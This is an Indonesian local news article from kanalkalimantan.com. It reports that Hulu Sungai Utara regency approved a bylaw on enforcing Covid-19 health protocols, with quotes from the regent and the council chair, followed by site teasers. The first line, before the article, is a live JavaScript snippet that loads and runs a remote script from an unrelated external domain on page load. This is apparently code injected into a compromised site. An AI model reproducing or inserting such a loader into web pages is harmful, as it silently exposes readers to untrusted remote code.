(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) sahkan Peraturan Daerah (Perda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes). Sebagai upaya pencegahan dan pengendalian Covid-19 di Kabupaten HSU.
Penetapan Perda tersebut disahkan setelah semua fraksi di DPRD Kabupaten HSU menyetujui putusan Rancangan Peraturan Daerah (Raperda) tentang pedoman penerapan disiplin dan penegakan hukum protokol kesehatan (Protkes) menjadi Peraturan Daerah (Perda) dalam rapat paripurna, Selasa (3/11/2020) sore.
Bupati HSU H Abdul Wahid HK saat menyampaikan pendapat akhir atas pengambilan keputusan DPRD terhadap Raperda mengapresiasi dan memberikan penghargaan yang tinggi kepada pimpinan DPRD Kabupaten HSU atas persetujuan menjadi Perda. Bupati Wahid mengharapkan, dengan disetujui menjadi Perda, nantinya dapat semakin memperkuat upaya dalam penegakkan protokol kesehatan Covid-19 di wilayah HSU.
Satpol PP selaku aparat penegak Perda, ASN, TNI-Polri beserta seluruh Satgas Covid-19 tidak perlu lagi ragu dalam menegakkan sanksi bagi siapa saja yang melalukan pelanggaran.
“Kita juga telah memiliki jaminan dasar hukum yang pasti dalam penindakan, sehingga harapan kita bersama masyarakat patuh dan terbiasa dengan melaksanakan protokol kesehatan terwujud,” tegas Bupati Wahid.
Nantinya saat pelaksaan Perda, Bupati mengimbau, petugas lebih mendahulukan upaya persuasif yakni pendekatan yang sifatnya membina, memberikan pemahaman, sehingga tumbuh kesadaran bagi pelanggar.
“Hindari upaya penindakan yang sifatnya menghukum dan menjerai pelanggar, kecuali apabila pelanggaran telah dilakukan berulang-ulang,” ingatnya.
Senada, Ketua DPRD HSU Almien Anshar Safari mengharapkan, adanya Perda ini, warga HSU semakin mematuhi Protkes, sehingga upaya dalam memutus mata rantai penularan Covid-19 di wilayah HSU maksimal.
“Mudah-mudahan adanya Perda ini, masyarakat kita semakin patuh terhadap protokol kesehatan,” tukas Almien. (kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
This website uses cookies.